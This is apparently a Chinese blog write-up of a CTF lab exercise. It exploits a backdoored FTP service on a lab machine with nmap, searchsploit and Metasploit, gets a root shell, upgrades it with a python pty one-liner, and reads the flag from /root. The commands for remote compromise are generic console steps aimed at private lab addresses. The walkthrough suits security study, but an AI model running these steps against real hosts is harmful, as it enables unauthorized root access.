CTF--8.FTP服务后门利用

FTP介绍

FTP是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。
在FTP的使用当中,用户经常遇到两个概念:"下载”(Download)和上传(Upload)。
"下载"文件就是从远程主机拷贝文件至自己的计算机上,
"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。
用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。

实验环境

攻击机:192.168.1.105
靶场机器:192.168.1.100

目的:获取靶场机器上的flag值;

信息探测

扫描主机服务信息以及服务版本
–nmap -sV 靶场IP地址

快速扫描主机全部信息
– nmap -T4 -A -v 靶场IP地址

在这里插入图片描述
发现开放了21端口,ftp服务
使用seachsploit 版本号,查看漏洞信息,找到可利用的溢出代码;
在这里插入图片描述
看到有2个文件,首先查看第一个文件txt
在这里插入图片描述
在这里插入图片描述
可以在这个文件中去修改源代码,但是比较麻烦
在这里插入图片描述
可以看到第二个为metasploit,

使用metasploit进行溢出

打开Metasploit在终端中输入msfconsole
在这里插入图片描述

输入search对应的软件及版本号
在这里插入图片描述
发现了exploit并使用exploit
– use exploit

在这里插入图片描述

查看可以使用的payload
– show payload
在这里插入图片描述

设置payload
– set payload
在这里插入图片描述

查看需要设置的参数
– show options

在这里插入图片描述
需要设置靶场和攻击机的IP

– set rhost 靶场IP
– set lhost 攻击机IP
在这里插入图片描述
查看设置成功与否
在这里插入图片描述

进行远程溢出,来获取权限
– exploit
在这里插入图片描述

执行命令id,来查看现在所获取的权限是否为root
在这里插入图片描述

优化shell

使用python pty开启终端

-- python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls -alh在这里插入图片描述

cat flag
在这里插入图片描述

writeup测试文档总结文档

总结

对于开放FTP、sSH、Telnet等服务的系统,公可以尝试一些对应服务版本的漏洞代码;
对于系统,一定要注意利用现成的EXP来root主机;

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wow2ok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值